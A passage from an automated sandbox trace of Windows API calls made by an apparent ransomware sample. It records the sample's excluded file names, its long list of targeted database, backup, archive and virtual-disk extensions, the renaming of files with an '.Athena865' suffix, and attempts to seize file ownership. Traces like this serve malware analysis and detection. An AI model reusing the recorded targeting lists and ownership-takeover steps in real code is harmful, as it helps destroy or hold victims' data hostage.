lpString2="ntuser.dat") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.207] lstrlenW (lpString="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.207] lstrcpyW (in: lpString1=0x241e882, lpString2="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.207] lstrlenW (lpString="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.207] lstrlenW (lpString="Athena865") returned 9 [0035.207] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.207] lstrlenW (lpString=".dll") returned 4 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.207] lstrlenW (lpString=".lnk") returned 4 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.207] lstrlenW (lpString=".ini") returned 4 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.207] lstrlenW (lpString=".sys") returned 4 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.207] lstrlenW (lpString="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.207] lstrlenW (lpString="bak") returned 3 [0035.207] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.207] lstrlenW (lpString="ba_") returned 3 [0035.207] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.207] lstrlenW (lpString="dbb") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.208] lstrlenW (lpString="vmdk") returned 4 [0035.208] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.208] lstrlenW (lpString="rar") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.208] lstrlenW (lpString="zip") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.208] lstrlenW (lpString="tgz") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.208] lstrlenW (lpString="vbox") returned 4 [0035.208] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.208] lstrlenW (lpString="vdi") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.208] lstrlenW (lpString="vhd") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.208] lstrlenW (lpString="vhdx") returned 4 [0035.208] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.208] lstrlenW (lpString="avhd") returned 4 [0035.208] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.208] lstrlenW (lpString="db") returned 2 [0035.208] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.208] lstrlenW (lpString="db2") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.208] lstrlenW (lpString="db3") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.208] lstrlenW (lpString="dbf") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.208] lstrlenW (lpString="mdf") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.208] lstrlenW (lpString="mdb") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.208] lstrlenW (lpString="sql") returned 3 [0035.208] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.208] lstrlenW (lpString="sqlite") returned 6 [0035.208] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.208] lstrlenW (lpString="sqlite3") returned 7 [0035.208] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.208] lstrlenW (lpString="sqlitedb") returned 8 [0035.209] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.209] lstrlenW (lpString="xml") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.209] lstrlenW (lpString="$er") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.209] lstrlenW (lpString="4dd") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.209] lstrlenW (lpString="4dl") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.209] lstrlenW (lpString="^^^") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.209] lstrlenW (lpString="abs") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.209] lstrlenW (lpString="abx") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.209] lstrlenW (lpString="accdb") returned 5 [0035.209] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.209] lstrlenW (lpString="accdc") returned 5 [0035.209] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.209] lstrlenW (lpString="accde") returned 5 [0035.209] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.209] lstrlenW (lpString="accdr") returned 5 [0035.209] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.209] lstrlenW (lpString="accdt") returned 5 [0035.209] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.209] lstrlenW (lpString="accdw") returned 5 [0035.209] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.209] lstrlenW (lpString="accft") returned 5 [0035.209] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.209] lstrlenW (lpString="adb") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.209] lstrlenW (lpString="adb") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.209] lstrlenW (lpString="ade") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.209] lstrlenW (lpString="adf") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.209] lstrlenW (lpString="adn") returned 3 [0035.209] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.210] lstrlenW (lpString="adp") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.210] lstrlenW (lpString="alf") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.210] lstrlenW (lpString="ask") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.210] lstrlenW (lpString="btr") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.210] lstrlenW (lpString="cat") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.210] lstrlenW (lpString="cdb") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.210] lstrlenW (lpString="ckp") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.210] lstrlenW (lpString="cma") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.210] lstrlenW (lpString="cpd") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.210] lstrlenW (lpString="dacpac") returned 6 [0035.210] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.210] lstrlenW (lpString="dad") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.210] lstrlenW (lpString="dadiagrams") returned 10 [0035.210] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.210] lstrlenW (lpString="daschema") returned 8 [0035.210] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.210] lstrlenW (lpString="db-journal") returned 10 [0035.210] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.210] lstrlenW (lpString="db-shm") returned 6 [0035.210] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.210] lstrlenW (lpString="db-wal") returned 6 [0035.210] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.210] lstrlenW (lpString="dbc") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.210] lstrlenW (lpString="dbs") returned 3 [0035.210] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.210] lstrlenW (lpString="dbt") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.211] lstrlenW (lpString="dbv") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.211] lstrlenW (lpString="dbx") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.211] lstrlenW (lpString="dcb") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.211] lstrlenW (lpString="dct") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.211] lstrlenW (lpString="dcx") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.211] lstrlenW (lpString="ddl") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.211] lstrlenW (lpString="dlis") returned 4 [0035.211] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.211] lstrlenW (lpString="dp1") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.211] lstrlenW (lpString="dqy") returned 3 [0035.211] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.211] lstrlenW (lpString="dsk") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.212] lstrlenW (lpString="dsn") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.212] lstrlenW (lpString="dtsx") returned 4 [0035.212] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.212] lstrlenW (lpString="dxl") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.212] lstrlenW (lpString="eco") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.212] lstrlenW (lpString="ecx") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.212] lstrlenW (lpString="edb") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.212] lstrlenW (lpString="epim") returned 4 [0035.212] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.212] lstrlenW (lpString="fcd") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.212] lstrlenW (lpString="fdb") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.212] lstrlenW (lpString="fic") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.212] lstrlenW (lpString="flexolibrary") returned 12 [0035.212] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.212] lstrlenW (lpString="fm5") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.212] lstrlenW (lpString="fmp") returned 3 [0035.212] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.212] lstrlenW (lpString="fmp12") returned 5 [0035.212] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.212] lstrlenW (lpString="fmpsl") returned 5 [0035.212] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.212] lstrlenW (lpString="fol") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.213] lstrlenW (lpString="fp3") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.213] lstrlenW (lpString="fp4") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.213] lstrlenW (lpString="fp5") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.213] lstrlenW (lpString="fp7") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.213] lstrlenW (lpString="fpt") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.213] lstrlenW (lpString="frm") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.213] lstrlenW (lpString="gdb") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.213] lstrlenW (lpString="gdb") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.213] lstrlenW (lpString="grdb") returned 4 [0035.213] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.213] lstrlenW (lpString="gwi") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.213] lstrlenW (lpString="hdb") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.213] lstrlenW (lpString="his") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.213] lstrlenW (lpString="ib") returned 2 [0035.213] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.213] lstrlenW (lpString="idb") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.213] lstrlenW (lpString="ihx") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.213] lstrlenW (lpString="itdb") returned 4 [0035.213] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.213] lstrlenW (lpString="itw") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.213] lstrlenW (lpString="jet") returned 3 [0035.213] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.213] lstrlenW (lpString="jtx") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.214] lstrlenW (lpString="kdb") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.214] lstrlenW (lpString="kexi") returned 4 [0035.214] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.214] lstrlenW (lpString="kexic") returned 5 [0035.214] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.214] lstrlenW (lpString="kexis") returned 5 [0035.214] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.214] lstrlenW (lpString="lgc") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.214] lstrlenW (lpString="lwx") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.214] lstrlenW (lpString="maf") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.214] lstrlenW (lpString="maq") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.214] lstrlenW (lpString="mar") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.214] lstrlenW (lpString="marshal") returned 7 [0035.214] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.214] lstrlenW (lpString="mas") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.214] lstrlenW (lpString="mav") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.214] lstrlenW (lpString="maw") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.214] lstrlenW (lpString="mdbhtml") returned 7 [0035.214] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.214] lstrlenW (lpString="mdn") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.214] lstrlenW (lpString="mdt") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.214] lstrlenW (lpString="mfd") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.214] lstrlenW (lpString="mpd") returned 3 [0035.214] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.215] lstrlenW (lpString="mrg") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.215] lstrlenW (lpString="mud") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.215] lstrlenW (lpString="mwb") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.215] lstrlenW (lpString="myd") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.215] lstrlenW (lpString="ndf") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.215] lstrlenW (lpString="nnt") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.215] lstrlenW (lpString="nrmlib") returned 6 [0035.215] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.215] lstrlenW (lpString="ns2") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.215] lstrlenW (lpString="ns3") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.215] lstrlenW (lpString="ns4") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.215] lstrlenW (lpString="nsf") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.215] lstrlenW (lpString="nv") returned 2 [0035.215] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.215] lstrlenW (lpString="nv2") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.215] lstrlenW (lpString="nwdb") returned 4 [0035.215] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.215] lstrlenW (lpString="nyf") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.215] lstrlenW (lpString="odb") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.215] lstrlenW (lpString="odb") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.215] lstrlenW (lpString="oqy") returned 3 [0035.215] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.216] lstrlenW (lpString="ora") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.216] lstrlenW (lpString="orx") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.216] lstrlenW (lpString="owc") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.216] lstrlenW (lpString="p96") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.216] lstrlenW (lpString="p97") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.216] lstrlenW (lpString="pan") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.216] lstrlenW (lpString="pdb") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.216] lstrlenW (lpString="pdm") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.216] lstrlenW (lpString="pnz") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.216] lstrlenW (lpString="qry") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.216] lstrlenW (lpString="qvd") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.216] lstrlenW (lpString="rbf") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.216] lstrlenW (lpString="rctd") returned 4 [0035.216] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.216] lstrlenW (lpString="rod") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.216] lstrlenW (lpString="rodx") returned 4 [0035.216] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.216] lstrlenW (lpString="rpd") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.216] lstrlenW (lpString="rsd") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.216] lstrlenW (lpString="sas7bdat") returned 8 [0035.216] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.216] lstrlenW (lpString="sbf") returned 3 [0035.216] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.217] lstrlenW (lpString="scx") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.217] lstrlenW (lpString="sdb") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.217] lstrlenW (lpString="sdc") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.217] lstrlenW (lpString="sdf") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.217] lstrlenW (lpString="sis") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.217] lstrlenW (lpString="spq") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.217] lstrlenW (lpString="te") returned 2 [0035.217] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.217] lstrlenW (lpString="teacher") returned 7 [0035.217] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.217] lstrlenW (lpString="tmd") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.217] lstrlenW (lpString="tps") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.217] lstrlenW (lpString="trc") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.217] lstrlenW (lpString="trc") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.217] lstrlenW (lpString="trm") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.217] lstrlenW (lpString="udb") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.217] lstrlenW (lpString="udl") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.217] lstrlenW (lpString="usr") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.217] lstrlenW (lpString="v12") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.217] lstrlenW (lpString="vis") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.217] lstrlenW (lpString="vpd") returned 3 [0035.217] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.218] lstrlenW (lpString="vvv") returned 3 [0035.218] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.218] lstrlenW (lpString="wdb") returned 3 [0035.218] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.218] lstrlenW (lpString="wmdb") returned 4 [0035.218] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.218] lstrlenW (lpString="wrk") returned 3 [0035.218] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.218] lstrlenW (lpString="xdb") returned 3 [0035.218] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.218] lstrlenW (lpString="xld") returned 3 [0035.218] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.218] lstrlenW (lpString="xmlff") returned 5 [0035.218] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.218] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.218] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.218] GetLastError () returned 0x5 [0035.218] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.218] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.218] SetEntriesInAclW () returned 0x0 [0035.218] SetNamedSecurityInfoW () returned 0x5 [0035.218] SetNamedSecurityInfoW () returned 0x5 [0035.219] LocalFree (hMem=0x529490) returned 0x0 [0035.219] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.219] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.219] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x82e [0035.219] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.219] CloseHandle (hObject=0x154) returned 1 [0035.220] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.220] CloseHandle (hObject=0x0) returned 0 [0035.220] CloseHandle (hObject=0x0) returned 0 [0035.220] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x844c8920, 